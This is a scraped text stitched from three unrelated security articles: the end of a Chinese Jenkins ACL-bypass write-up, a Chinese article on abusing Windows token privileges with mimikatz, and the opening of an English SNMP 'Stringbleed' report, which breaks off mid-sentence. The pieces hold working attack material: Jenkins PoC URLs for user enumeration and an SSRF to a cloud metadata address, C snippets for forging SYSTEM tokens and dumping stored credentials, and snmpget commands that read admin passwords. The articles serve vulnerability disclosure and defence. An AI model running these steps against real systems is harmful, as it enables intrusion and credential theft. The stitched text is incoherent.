Patch](https://github.com/stapler/stapler/commit/28e8eba822a0df9dcd64d20eb63d8ab5f6ee2980))去修復這個漏洞,
不但在原有的架構上介紹了新的路由黑名單及白名單, 也擴展了原有架構的 [Service Provider Interface
(SPI)](https://wiki.jenkins.io/display/JENKINS/Plugins+affected+by+the+SECURITY-595+fix)
去保護 Jenkins 路由, 下面就來解釋為何 Jenkins 要花了那麼多心力去修復這個漏洞!
### 代碼審查範圍
首先要聲明的是, 這並不是一次完整的代碼審查(畢竟要做一次太花時間了…), 因此只針對高風險漏洞進行挖掘, 著眼的範圍包括:
* Jenkins 核心
* Stapler 網頁框架
* 建議安裝插件
Jenkins 在安裝過程中會詢問是否安裝建議的套件(像是 Git, GitHub, SVN 與 Pipeline… 等等),
基本上大多數人都會同意不然就只會得到一個半殘的 Jenkins 很不方便XD
### Jenkins 中的權限機制
因為這是一個基於 ACL 上的繞過, 所以在解釋漏洞之前, 先來介紹一下 Jenkins 中的權限機制! 在 Jenkins 中有數種不同的角色權限,
甚至有專門的 [Matrix Authorization Strategy
Plugin](https://plugins.jenkins.io/matrix-auth) (同為建議安裝套件)可針對各專案進行細部的權限設定,
從攻擊者的角度我們粗略分成三種:
#### 1\. Full Access
對於 Jenkins 有完整的控制權, 可對 Jenkins 做任何事! 基本上有這個權限即可透過 [Script
Console](http://jenkins.local/script) 介面使用 Groovy 執行任意代碼!
print "uname -a".execute().text
這個權限對於駭客來說也是最渴望得到的權限, 但基本上由於安全意識的提升及網路上各種殭屍網路對全網進行掃描, 這種配置已經很少見(或只見於內網)
#### 2\. Read-only Mode
可從 [Configure Global Security](http://jenkins.local/configureSecurity)
介面中勾選下面選項來開啟這個模式
> Allow anonymous read access
在這個模式下, 所有的內容皆是可讀的, 例如可看到工作日誌或是一些 job/node 等敏感資訊,
對於攻擊者來說在這個模式下最大的好處就是可以獲得大量的原始碼! 但與 Full Access 模式最大的差異則是無法進行更進一步的操作或是執行 Groovy
代碼以取得控制權!
雖然這不是 Jenkins 的預設設定, 但對於一些習慣自動化的 DevOps 來說還是有可能開啟這個選項, 根據實際在
[Shodan](https://www.shodan.io/search?query=jenkins) 上的調查約 12% 的機器還是開啟這個選項!
以下使用 `ANONYMOUS_READ=True` 來代稱這個模式
#### 3\. Authenticated Mode
這是 Jenkins 預設安裝好的設定, 在沒有一組有效的帳號密碼狀況下無法看到任何資訊及進行任何操作! 以下使用
`ANONYMOUS_READ=False` 來代稱此模式
### 漏洞分析
整個漏洞要從 Jenkins 的 [動態路由](https://jenkins.io/doc/developer/handling-requests/routing/) 講起, 為了給開發者更大的彈性, Jenkins(嚴格來講是 Stapler)使用了一套 Naming
Convention 去匹配路由及動態的執行! 首先 Jenkins 以 `/` 為分隔將 URL 符號化, 接著由
[jenkins.model.Jenkins](https://github.com/jenkinsci/jenkins/blob/master/core/src/main/java/jenkins/model/Jenkins.java)
為入口點開始往下搜尋, 如果符號符合 (1) Public 屬性的成員或是 (2) Public 屬性的方法符合下列命名規則, 則調用並繼續往下呼叫:
1. get<token>()
2. get<token>(String)
3. get<token>(Int)
4. get<token>(Long)
5. get<token>(StaplerRequest)
6. getDynamic(String, …)
7. doDynamic(…)
8. do<token>(…)
9. js<token>(…)
10. Class method with @WebMethod annotation
11. Class method with @JavaScriptMethod annotation
看起來 Jenkins 給予開發者很大程度的自由去訪問各個物件, 但過於自由總是不好的，根據這種調用方式這裡就出現了兩個問題!
#### 1\. 萬物皆繼承 java.lang.Object
在 Java 中, 所有的物件皆繼承
[java.lang.Object](https://docs.oracle.com/javase/7/docs/api/java/lang/Object.html)
這個類別, 因此所有在 Java 中的物件皆存在著 `getClass()` 這個方法! 而恰巧這個方法又符合命名規則 `#1`, 因此
`getClass()` 可在 Jenkins 調用鏈中被動態呼叫!
#### 2\. 跨物件操作導致白名單繞過
前面所提到的 `ANONYMOUS_READ`, 其中 `True` 與 `False` 間最大的不同在於當在禁止的狀況下, 最初的入口點會透過
[jenkins.model.Jenkins#getTarget()](https://github.com/jenkinsci/jenkins/blob/master/core/src/main/java/jenkins/model/Jenkins.java#L4682)
多做一個基於白名單的 URL 前綴檢查, 這個白名單如下:
private static final ImmutableSet<String> ALWAYS_READABLE_PATHS = ImmutableSet.of(
"/login",
"/logout",
"/accessDenied",
"/adjuncts/",
"/error",
"/oops",
"/signup",
"/tcpSlaveAgentListener",
"/federatedLoginService/",
"/securityRealm",
"/instance-identity"
);
這也代表著一開始可選的入口限制更嚴格選擇更少, 但如果能在一個白名單上的入口找到其他物件參考, 跳到非白名單上的成員豈不可以繞過前述的 URL 前綴限制?
可能有點難理解, 這裡先來一個簡單的範例來解釋 Jenkins 的動態路由機制:
http://jenkin.local/adjuncts/whatever/class/classLoader/resource/index.jsp/content
以上網址會依序執行下列方法
jenkins.model.Jenkins.getAdjuncts("whatever")
.getClass()
.getClassLoader()
.getResource("index.jsp")
.getContent()
上面的執行鏈一個串一個雖然看起來很流暢, 但難過的是無法取得回傳內容, 因此嚴格來說不能算是一個風險, 但這個例子對於理解整個漏洞核心卻有很大的幫助!
在了解原理後, 剩下的事就像是在解一個迷宮, 從
[jenkins.model.Jenkins](https://github.com/jenkinsci/jenkins/blob/master/core/src/main/java/jenkins/model/Jenkins.java)
這個入口點開始, 物件中的每個成員又可以參考到一個新的物件, 接著要做的就是想辦法把中間錯綜複雜各種物件與物件間的關聯找出來, 一層一層的串下去直到迷宮出口
- 也就是危險的函數呼叫!
值得一提的是, 這個漏洞最可惜的地方應該是無法針對 SETTER 進行操作, 不然的話應該就又是另外一個有趣的 [Struts2
RCE](https://cwiki.apache.org/confluence/display/WW/S2-020) 或是 [Spring
Framework RCE](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1622)
了!
### 如何利用
所以該如何利用這個漏洞呢? 簡單說, 這個漏洞所能做到的事情就只是透過物件間的參考去繞過 ACL 政策,
但在此之前我們必須先找到一個好的跳板好讓我們可以更方便的在物件中跳來跳去, 這裡我們選用了下面這個跳板:
/securityRealm/user/[username]/descriptorByName/[descriptor_name]/
這個跳板會依序執行下面方法
jenkins.model.Jenkins.getSecurityRealm()
.getUser([username])
.getDescriptorByName([descriptor_name])
在 Jenkins 中可以被操作的物件都會繼承一個
[hudson.model.Descriptor](https://github.com/jenkinsci/jenkins/blob/master/core/src/main/java/hudson/model/Descriptor.java)
類別, 而繼承這個類別的物件都可以透過
[hudson.model.DescriptorByNameOwner#getDescriptorByName(String)](https://github.com/jenkinsci/jenkins/blob/master/core/src/main/java/hudson/model/DescriptorByNameOwner.java#L51)
去存取, 所以總體來說, 可透過這個跳板取得在 Jenkins 中約 500 個 Despicable 的物件類別!
不過雖是如此, 由於 Jenkins 的設計模式, 大部分開發者在危險動作之前都會再做一次權限檢查, 所以即使可呼叫到 [Script
Console](http://jenkins.local/script) 但在沒有 `Jenkins.RUN_SCRIPTS` 權限的情況下也無法做任何事
:(
但這個漏洞依然不失成為一個很好的膠水去繞過第一層的 ACL 限制串起其他的漏洞, 為後續的利用開啟了一道窗! 以下我們給出三個串出漏洞鏈的例子!
(雖然只介紹三種, 但由於這個漏洞玩法非常自由可串的絕不只如此, 推薦有興趣的同學可在尋找更多的漏洞鏈!)
P.S. 值得注意的一點是, 在 `getUser([username])` 的實現中會呼叫到 `getOrCreateById(...)` 並且傳入
`create=True` 導致在記憶體中創造出一個暫存使用者(會出現在使用者列表但無法進行登入操作), 雖然無用不過也被當成一個漏洞記錄在
[SECURITY-1128](https://jenkins.io/security/advisory/2018-10-10/)
#### 1\. 免登入的使用者資訊洩漏
在測試 Jenkins 時, 最怕的就是要進行字典檔攻擊時卻不知道該攻擊哪個帳號, 畢竟帳號永遠比密碼難猜! 這時這個漏洞就很好用了XD
由於 Jenkins 對搜尋的功能並沒有加上適當的權限檢查, 因此在 `ANONYMOUS_READ=False` 的狀況下可以透過修改 `keyword`
參數從 a 到 z 去列舉出所有使用者!
##### PoC:
http://jenkins.local/securityRealm/user/admin/search/index?q=[keyword]
除此之外也可搭配由 `Ananthapadmanabhan S R` 所回報的
[SECURITY-514](https://jenkins.io/security/advisory/2017-10-11/#user-remote-api-disclosed-users-email-addresses) 進一步取得使用者信箱, 如:
http://jenkins.local/securityRealm/user/admin/api/xml
#### 2\. 與 CVE-2018-1000600 搭配成免登入且有完整回顯的 SSRF
下一個要串的漏洞則是
[CVE-2018-1000600](https://jenkins.io/security/advisory/2018-06-25/#SECURITY-915),
這是一個由 [Orange Tsai](https://twitter.com/orange_8361)(對就是我XD) 所回報的漏洞,
關於這個漏洞官方的描述是:
> CSRF vulnerability and missing permission checks in GitHub Plugin allowed
> capturing credentials
在已知 Credentials ID 的情形下可以洩漏任意 Jenkins 儲存的帳密, 但 Credentials ID 在沒指定的情況下會是一組隨機的
UUID 所以造成要利用這個漏洞似乎變得不太可能 (如果有人知道怎麼取得 Credentials ID 請告訴我!)
雖然在不知道 Credentials ID 的情況下無法洩漏任何帳密, 但這個漏洞其實不只這樣, 還有另一個玩法! 關於這個漏洞最大的危害其實不是
CSRF, 而是 SSRF!
不僅如此, 這個 SSRF 還是一個有回顯的 SSRF! 沒有回顯的 SSRF 要利用起來有多困難我想大家都知道 :P 因此一個有回顯的 SSRF
也就顯得何其珍貴!
##### PoC:
http://jenkins.local/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword
?apiUrl=http://169.254.169.254/%23
&login=orange
&password=tsai
#### 3\. 未認證的遠端代碼執行
> 所以廢話少說, RCE 在哪?
為了最大程度的去利用這個漏洞, 我也挖了一個 **非常有趣** 的 RCE 可以與這個漏洞搭配使用成為一個真正意義上不用認證的 RCE!
但由於這個漏洞目前還在 Responsible Disclosure 的時程內, 就請先期待 Hacking Jenkins Part 2 囉!
(預計二月中釋出!)
### TODO
這裡是一些我想繼續研究的方向, 可以讓這個漏洞變得更完美! 如果你發現了下面任何一個的解法請務必告訴我, 我會很感激的XD
* 在 `ANONYMOUS_READ=False` 的權限下拿到 `Plugin` 的物件參考, 如果拿到的可以繞過 [CVE-2018-1999002](https://jenkins.io/security/advisory/2018-07-18/#SECURITY-914) 與 [CVE-2018-6356](https://jenkins.io/security/advisory/2018-02-14/#SECURITY-705) 所需的最小權限限制, 成為一個真正意義上的免登入任意讀檔!
* 在 `ANONYMOUS_READ=False` 的權限下找出另一組跳板去呼叫 `getDescriptorByName(String)`. 為了修復 [SECURITY-672](https://jenkins.io/security/advisory/2018-08-15/#SECURITY-672), Jenkins 從 2.138 開始對 [hudson.model.User](https://github.com/jenkinsci/jenkins/blob/master/core/src/main/java/hudson/model/User.java) 增加判斷 `Jenkins.READ` 的[檢查](https://github.com/jenkinsci/jenkins/blob/master/core/src/main/java/hudson/model/User.java#L1026), 導致原有的跳板失效!
### 致謝
最後, 感謝 Jenkins Security 團隊尤其是 Daniel Beck 的溝通協調與漏洞修復! 這裡是一個簡單的回報時間軸:
* May 30, 2018 - 回報漏洞給 Jenkins
* Jun 15, 2018 - Jenkins 修補並分配 CVE-2018-1000600
* Jul 18, 2018 - Jenkins 修補並分配 CVE-2018-1999002
* Aug 15, 2018 - Jenkins 修復並分配 CVE-2018-1999046
* Dec 05, 2018 - Jenkins 修補並分配 CVE-2018-1000861
* Dec 20, 2018 - 回報 Groovy 漏洞給 Jenkins
* Jan 08, 2019 - Jenkins 修復 Groovy 漏洞並分配 CVE-2019-1003000, CVE-2019-1003001, CVE-2019-1003002
* * * | 社区文章 |
0x00 前言
在之前的文章中，分别向大家介绍了Windows访问控制模型中的SID和Access Token，本篇文章中将为大家介绍最后一个概念——特权
Windows操作系统中许多操作都需要有对应的特权，特权也是一种非常隐蔽的留后门的方式。在AD域中，一些特权在Default Domain
Controller Policy组策略中被授予给一些特殊的组，这些组的成员虽然不是域管，但如果被攻ji者控制同样能给AD域带来巨大的风险
因此对防御者来讲，排查用户的特权配置也是重中之重，本文将对一些比较敏感的特权进行介绍，便于防御者更好的理解特权的概念以及进行排查
0x01 令牌中的Privilege
特权是一个用户或组在本地计算机执行各种系统相关操作（关闭系统、装载设备驱动程序、改变系统时间）的权限，特权与访问权限的区别如下：
特权控制账户对系统资源和系统相关任务的访问，而访问权限控制对安全对象（可以具有安全描述符的对象）的访问
系统管理员为用户或组指派特权，而系统根据对象的DACL中的ACE授予或拒绝对安全对象的访问，有时拥有特权可以忽略ACL的检查
在之前介绍Access Token的文章中我们已经了解过了token的基本结构，其中有一部分表示了该用户及该用户所属组所拥有的特权，如下图所示：
【安全研究】从mimikatz学习Windows安全之访问控制模型（三）_Windows安全
通常我们会使用whoami /priv命令查看当前用户所拥有的特权，默认情况下大部分特权是禁用状态，在使用时需要启用
【安全研究】从mimikatz学习Windows安全之访问控制模型（三）_Windows安全_02
0x02 mimikatz的privilege模块
mimikatz中的privilege模块主要有以下功能，下图中第一个红框中的部分是为当前进程启用一些指定的特权，第二个红框中的id和name分别支持指定特权的id和名称，并为当前进程启用id和名称对应的特权
【安全研究】从mimikatz学习Windows安全之访问控制模型（三）_mimikatz_03
通常我们比较通用的启用进程特权的方法是这样的，代码如下：
BOOL GetDebugPrivilege()
{
BOOL status = FALSE;
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tokenPrivs;
tokenPrivs.PrivilegeCount = 1;
if (LookupPrivilegeValueW(NULL, SE_DEBUG_NAME, &tokenPrivs.Privileges[0].Luid))
{
tokenPrivs.Privileges[0].Attributes = TRUE ? SE_PRIVILEGE_ENABLED : 0;
if (AdjustTokenPrivileges(hToken, FALSE, &tokenPrivs, sizeof(tokenPrivs), NULL, NULL))
{
status = TRUE;
}
}
else wprintf(L"[!] LookupPrivilegeValueW error: %u when get debug privilege.\n", GetLastError());
CloseHandle(hToken);
}
else wprintf(L"[!] OpenProcessToken error: %u when get debug privilege.\n", GetLastError());
return status;
}
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
而mimikatz是通过调用一个未文档化的APIRtlAdjustPrivilege()，该API的功能是对当前进程或线程启用/禁用指定的特权，共有四个参数：
ULONG Privilege：需要操作的特权的ID
BOOLEAN Enable：启用或禁用的标志，1为启用，0为禁用
BOOLEAN CurrentThread：指定是否为当前线程，1则设置线程令牌，0则设置进程令牌
PBOOLEAN Enabled：该特权修改之前是禁用的还是启用的
NTSTATUS RtlAdjustPrivilege
(
ULONG Privilege, // [In]
BOOLEAN Enable, // [In]
BOOLEAN CurrentThread, // [In]
PBOOLEAN Enabled // [Out]
)
1.
2.
3.
4.
5.
6.
7.
如果参数指定的是特权的名称，则会先调用LookupPrivilegeValue()拿到特权名称对应的特权ID，然后再调用RtlAdjustPrivilege()来启用特权
【安全研究】从mimikatz学习Windows安全之访问控制模型（三）_Windows安全_04
前面提到的是将禁用的特权启用，而如果想给一个账户赋予特权，则可以通过本地策略/组策略来设置，也可以通过LsaAddAccountRights()这个API，这里不再赘述
0x03 危险的特权
这里主要介绍11个危险的特权，在检查域内安全时要格外注意
1. SeDebugPrivilege
通常情况下，用户只对属于自己的进程有调试的权限，但如果该用户Token中被赋予SeDebugPrivilege并启用时，该用户就拥有了调试其他用户进程的权限，此时就可以对一些高权限进程执行操作以获取对应的权限，以进程注入为例：
【安全研究】从mimikatz学习Windows安全之访问控制模型（三）_Windows安全_05
1. SeBackupPrivilege
该特权代表需要执行备份操作的权限，授予当前用户对所有文件的读取权限，不受文件原本的ACL限制，主要有以下利用思路：
备份SAM数据库
备份磁盘上高权限用户的敏感文件
域内在域控上备份ntds.dit
下图以导出注册表中的SAM和SYSTEM为例
【安全研究】从mimikatz学习Windows安全之访问控制模型（三）_Windows安全_06
观察上图可能有师傅会问：为什么前面显示SeBackupPrivilege是Disable状态，却能成功执行reg
save呢？一开始我猜测可能是reg.exe在执行操作前默认会启用一些特权，随后通过对reg.exe的逆向也印证了这点：
【安全研究】从mimikatz学习Windows安全之访问控制模型（三）_mimikatz_07
在域环境中，Backup Operators和Server
Operators组成员允许在域控进行本地登录，并在域控上拥有SeBackupPrivilege特权，所以也可以对ntds.dit进行备份操作，再备份注册表中的SYSTEM和SECURITY，进而解密ntds.dit
需要注意的是在调用CreateFile()时，需要指定FILE_FLAG_BACKUP_SEMANTICS标志来表示正在为备份或恢复操作打开或创建文件，从而覆盖文件的ACL检查
HANDLE hFile = CreateFileW(
L"C:\Windows\System32\1.txt",
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS,
NULL);
1.
2.
3.
4.
5.
6.
7.
8.
1. SeRestorePrivilege
该特权是执行还原操作所需的权限，拥有此特权的用户对所有文件拥有写权限，不受文件原本的ACL限制，主要利用思路如下：
修改注册表，实现修改服务、修改启动项等操作
写文件进行DLL劫持
【安全研究】从mimikatz学习Windows安全之访问控制模型（三）_mimikatz_08
域环境中，Backup Operators和Server
Operators组成员同样在域控上也有SeRestorePrivilege，因此也可以利用上述操作在域控上完成提权和维权等操作
需要注意的仍是调用API时，需要指定对应的标志，如CreateFile()需要指定FILE_FLAG_BACKUP_SEMANTICS，RegCreateKeyEx()需要指定REG_OPTION_BACKUP_RESTORE
1. SeTakeOwnershipPrivilege
该特权用来修改目标对象的所有权，也就是说拥有该特权的用户可以修改任意对象的所有者（Owner），而所有者对该对象是有WriteDACL的权限的，可以任意修改对象的ACL
所以如果拥有了SeTakeOwnershipPrivilege，就相当于对任意对象有读写的权限，利用方式和SeRestorePrivilege、SeBackupPrivilege基本相同
GetTakeOwnershipPriv();
...
status = SetNamedSecurityInfo(
L"C:\Windows\System32\localspl.dll",
SE_FILE_OBJECT,
OWNER_SECURITY_INFORMATION,
user->User.Sid,
NULL,
NULL,
NULL);
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
如下图所示，可以将对象的Owner从TrustedInstaller修改为当前用户：
【安全研究】从mimikatz学习Windows安全之访问控制模型（三）_mimikatz_09
1. SeImpersonatePrivilege
当SeImpersonatePrivilege特权分配给用户时，表示允许该用户运行的程序模拟客户端，默认Service账户（如MSSQL、IIS的服务账户）和管理员账户会拥有该权限
该权限也是一些potato提权的重要条件，可以通过printbug+ImpersonateNamedPipeClient()等等许多方式获取到高权限令牌，进而执行模拟，此处以pipepotato为例：
【安全研究】从mimikatz学习Windows安全之访问控制模型（三）_Windows安全_10
1. SeAssignPrimaryTokenPrivilege
该特权表示可以为进程分配主令牌，经常与SeImpersonatePrivilege特权配合使用在potato的提权中。拥有该特权时，我们可以使用非受限的令牌调用CreateProcessAsUser()；或者先创建挂起的进程，再通过NtSetInformationProcess()来替换进程的token
顺便提一嘴，之前文章中提到的mimikatz的token::run模块在使用时可能会出现0x00000522错误，如下图所示
【安全研究】从mimikatz学习Windows安全之访问控制模型（三）_Windows安全_11
这是因为在调用CreateProcessAsUser()时，如果传入的是非受限令牌，那么则需要SeAssignPrimaryTokenPrivilege特权，有关受限令牌的概念可阅读微软文档：
<https://docs.microsoft.com/en-us/windows/win32/secauthz/restricted-tokens>
【安全研究】从mimikatz学习Windows安全之访问控制模型（三）_mimikatz_12
因此该功能应该是用来从SYSTEM权限窃取其他用户的Access
Token（因为默认SYSTEM才有SeAssignPrimaryTokenPrivilege），如果想要非SYSTEM用户调用的话可以考虑改为用CreateProcessWithToken()创建进程
【安全研究】从mimikatz学习Windows安全之访问控制模型（三）_Windows安全_13
1. SeLoadDriverPrivilege
该权限用来加载或卸载设备的驱动，在windows中用户可以通过NTLoadDriver()进行驱动的加载，其DriverServiceName参数需要传入驱动配置的注册表项
NTSTATUS NTLoadDriver(
_In_ PUNICODE_STRING DriverServiceName //
\Registry\Machine\System\CurrentControlSet\Services\DriverName
);
1.
2.
3.
其中DriverName表示启动名称，该键下至少应有两个值：
ImagePath：REG_EXPAND_SZ类型，“??\C:\path\to\driver.sys” 格式
Type：REG_WORD类型，其值需要被设置为1，表示KENERL_DRIVER
如果是非管理员权限，默认无法操作HKLM注册表项，则可以在HKEY_CURRENT_USER (HKCU)
下创建注册表项并设置驱动程序配置设置，再调用NTLoadDriver()指定之前创建的注册表项来注册驱动，代码可参考：
<https://github.com/TarlogicSecurity/EoPLoadDriver/>
此时可以利用一些有漏洞的驱动程序来实现LPE等操作，以Capcom.sys为例：
【安全研究】从mimikatz学习Windows安全之访问控制模型（三）_Windows安全_14
除此之外，在AD域中SeLoadDriverPrivilege权限在域控上默认授予Print
Operators组，使得该组用户可以远程在域控加载打印机驱动程序，前一段时间的Printnightmare便是绕过了该权限的检查
1. SeCreateTokenPrivilege
该特权表示：允许拥有此特权的进程可以通过ZwCreateToken()创建Access Token
NTSATUS ZwCreateToken(
OUT PHANDLE TokenHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN TOKEN_TYPE TokenType,
IN PLUID AuthenticationId,
IN PLARGE_INTEGER ExpirationTime,
IN PTOKEN_USER TokenUser,
IN PTOKEN_GROUPS TokenGroups,
IN PTOKEN_PRIVILEGES TokenPrivileges,
IN PTOKEN_OWNER TokenOwner,
IN PTOKEN_PRIMARY_GROUP TokenPrimaryGroup,
IN PTOKEN_DEFAULT_DACL TokenDefaultDacl,
IN PTOKEN_SOURCE TokenSource
);
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
那么我们肯定会想：能不能直接利用该API创建一个SYSTEM的token，然后起进程？很遗憾，该权限不允许用户使用他们刚创建的令牌
但我们可以利用模拟，创建一个当前用户的、包含特权组SID的token，因为只要令牌是针对同一个用户的，并且完整性级别小于或等于当前进程完整性级别（完整性级别可以通过构造令牌时来设置），就可以不需要SeImpersonatePrivilege特权，对线程设置模拟令牌
以创建Group
List中包含administrators组SID的token为例，在创建token前修改了组SID、特权列表，最初成功利用模拟令牌创建线程，在system32下写入文件：
【安全研究】从mimikatz学习Windows安全之访问控制模型（三）_mimikatz_15
需要注意的是在Win10 >= 1809和Windows Server
2019，以及安装了KB4507459的Win10和2016上，我们不能使用生成的模拟令牌，会爆“1346：未提供所需的模拟级别，或提供的模拟级别无效”错误
【安全研究】从mimikatz学习Windows安全之访问控制模型（三）_Windows安全_16
幸运的是已经有大牛发现了绕过的方法，就是把Token的AuthenticationID从SYSTEM_LUID(0x3e7)修改为ANONYMOUS_LOGON_LUID(0x3e6)，最终成功使用模拟令牌向system32目录写入了文件：
【安全研究】从mimikatz学习Windows安全之访问控制模型（三）_mimikatz_17
1. SeTcbPrivilege
该特权标志着其拥有者是操作系统的一部分，拥有该特权的进程可利用LsaLogonUser()执行创建登录令牌等操作，因此可以充当任意用户
NTSTATUS LsaLogonUser(
HANDLE LsaHandle,
PLSA_STRING OriginName,
SECURITY_LOGON_TYPE LogonType,
ULONG AuthenticationPackage,
PVOID AuthenticationInformation,
ULONG AuthenticationInformationLength,
PTOKEN_GROUPS LocalGroups,
PTOKEN_SOURCE SourceContext,
PVOID *ProfileBuffer,
PULONG ProfileBufferLength,
PLUID LogonId,
PHANDLE Token,
PQUOTA_LIMITS Quotas,
PNTSTATUS SubStatus
);
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
根据微软官方文档，当以下一项获多项为真时，LsaLogonUser()调用者需要SeTcbPrivilege特权：
使用了 Subauthentication 包
使用 KERB_S4U_LOGON，调用者请求模拟令牌
LocalGroups参数不为NULL
我们主要关注第二点和第三点，从文档的描述来看，如果使用KERB_S4U_LOGON来登录(也可以使用MSV1_0_S4U_LOGON，但文档中未体现)，我们就可以拿到一张模拟令牌，并且可以在LocalGroups参数给该令牌添加附加组：
WCHAR systemSID[] = L"S-1-5-18";
ConvertStringSidToSid(systemSID, &pExtraSid);
pGroups->Groups[pGroups->GroupCount].Attributes = SE_GROUP_ENABLED |
SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_MANDATORY;
pGroups->Groups[pGroups->GroupCount].Sid = pExtraSid;
pGroups->GroupCount++;
1.
2.
3.
4.
5.
6.
此时我们就可以拿到一张拥有SYSTEM的SID的令牌，如何在没有SeImpersonatePrivilege特权的情况下使用模拟令牌在SeCreateTokenPrivilege的利用中已经提到过了
如下图所示，成功在system32下写入文件：
【安全研究】从mimikatz学习Windows安全之访问控制模型（三）_Windows安全_18
当然，如果在域内，也可以尝试KERB_S4U_LOGON来获取域内用户的模拟令牌
1. SeTrustedCredmanAccessPrivilege
该特权用来访问凭据管理器，备份凭据管理器中的凭据需要使用CredBackupCredentials()这一API，而调用该API需要拥有SeTrustedCredmanAccessPrivilege特权，该特权默认授予winlogon.exe和lsass.exe这两个进程
BOOL WINAPI CredBackupCredentials( HANDLE Token, LPCWSTR Path, PVOID Password,
DWORD PasswordSize, DWORD Flags);
1.
为了测试我在凭据管理器中手动新增了一条凭据，用于访问192.168.47.20，用户名和密码为admin/adminpass
【安全研究】从mimikatz学习Windows安全之访问控制模型（三）_mimikatz_19
利用方式即窃取winlogon.exe的token，并调用CredBackupCredentials()对凭据管理器中的凭据进行备份（指定加密密码为NULL），最终再调用CryptUnprotectData()对备份的文件进行解密。此处代码参考：
<https://github.com/BL0odz/POSTS/blob/main/DumpCred_TrustedTokenPriv/main.cpp>
【安全研究】从mimikatz学习Windows安全之访问控制模型（三）_mimikatz_20
1. SeEnableDelegationPrivilege
在域内配置无约束委派和约束委派时（这里特指传统的约束委派，不包括基于资源的约束委派），都是修改的LDAP中的userAccountControl属性来配置（当然约束委派还要修改msDS-AllowedToDelegateTo来配置委派可以访问的服务），而想要配置无约束委派或约束委派，不仅需要对属性有写权限，还需要在域控有SeEnableDelegationPrivilege特权
【安全研究】从mimikatz学习Windows安全之访问控制模型（三）_Windows安全_21
虽然该利用对攻ji者来说较为苛刻，但如果发现域内组策略给普通账户配置了SeEnableDelegationPrivilege特权，就需要检查是否是正常的业务需求
0x04 检测与缓解
检测思路：
查看域内Server Operators、Backup Operators、Print Operators等特权组内是否有不应出现的用户
查看域内组策略配置文件，是否有将特权授予不常见的SID
检测“4672: 分配给新登录的特殊权限”日志
缓解思路：
非业务必需情况下不为普通账户赋予特权
不影响业务的情况下，可以取消部分管理员账户的SeDebugPrivilege等特权
0x05 参考
<https://docs.microsoft.com/>
<https://github.com/gentilkiwi/mimikatz>
<https://bbs.pediy.com/thread-76552.htm>
<https://3gstudent.github.io/渗透技巧-Windows九种权限的利用>
<https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt>
<https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf>
<https://www.tiraniddo.dev/2021/05/dumping-stored-credentials-with.html>
<https://www.tarlogic.com/blog/abusing-seloaddriverprivilege-for-privilege-escalation/>
<https://decoder.cloud/2019/07/04/creating-windows-access-tokens/> | 社区文章 |
**Author: Knownsec 404 Team
Chinese version: <https://paper.seebug.org/795/>**
### 1\. Update
### 2\. Brief Introduction
The SNMP
protocol[[1]](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol
"\[1\]"), which is the Simple Network Management Protocol (SNMP), has a
default port of 161/UDP. There are currently three versions: V1, V2c, and V3.
V3 is the latest version and has been greatly improved in security design.
However, the most widely used versions are the V1 and V2c versions with more
security issues. In simple terms, the principle of the SNMP protocol works by
the management host sending a request to the managed host or device. This
request contains a community and an oid. Oid is a codename that represents the
information requested by the management host. After receiving the request, the
managed host confirms whether the requested community is consistent with the
one saved by itself. If so, the corresponding information is returned to the
management host. Otherwise, no information will be returned. So the community
is equivalent to an authentication password. Both V1 and V2c versions of SNMP
protocol transmit data in plaintext, so the community needed for
authentication can be obtained by means of packet sniffing.
On December 25, 2018, the Seebug platform included multiple sensitive
information disclosure vulnerabilities based on the SNMP
protocol[[2]](https://www.seebug.org/vuldb/ssvid-97741 "\[2\]"). Among the
gateway devices provided by various vendors, it is easy to use any community
to read the username and password, Wi-Fi credentials, etc. of the web
management system in the clear text provided by SNMP. Using any community to
send configuration updates or control requests via SET protocol directives, an
attacker can inject a malicious configuration. For example, the Cisco
DPC3928SL caused the XSS (CVE-2018-20379) of the Web Management System by
injecting payload to the SSID.
The vulnerability was first exposed on April 4, 2017, and the CVE number is
CVE-2017-5135. The discoverer called this vulnerability
`Stringbleed`[[3]](https://stringbleed.github.io/ "\[3\]"). On December 22,
2018, after more than a year, the finder provided a comprehensive
vulnerability impact list after global exploration, including 78 different
types of gateway devices from 23 different vendors, and applied for multiple
CVEs at the same time. Up to now, there is still no final conclusion about the
cause of the vulnerabilities. According to the results of community
discussions[[4]](https://www.reddit.com/r/netsec/comments/67qt6u/cve_20175135_snmp_authentication_bypass/
"\[4\]"), the reasons for the vulnerability may be as follows:
* These vulnerable devices are implemented using the same SNMP protocol with logical flaws. The implementation code does not properly handle community string authentication, resulting in any community being successfully authenticated, further causing sensitive information to leak.
* ISP configuration error, invalid access control rules.
This article does not include vulnerability analysis, but a data analysis
report on the existing situation of such device vulnerabilities worldwide.
### 3\. Vulnerability recurrence
Simply send an SNMP GET request directly using the `snmpget` command. The -c
option can specify any string as the community to be authenticated.
# Sysinfo
snmpget -v 1 -c public $IP iso.3.6.1.2.1.1.1.0
# Web interface username
snmpget -v 1 -c '#Stringbleed' $IP iso.3.6.1.4.1.4491.2.4.1.1.6.1.1.0
# Web interface password
snmpget -v 1 -c '#Stringbleed' $IP iso.3.6.1.4.1.4491.2.4.1.1.6.1.2.0o
The results are as follows:
If the target device is open to the web service, the attacker can log in to
the web management system using the leaked username and password, as follows:
One situation worth mentioning is that the username and password are both
empty.
The attacker can also send an SNMP SET request for configuration updates. The
-c option specifies any string as the community. As shown below, we modified
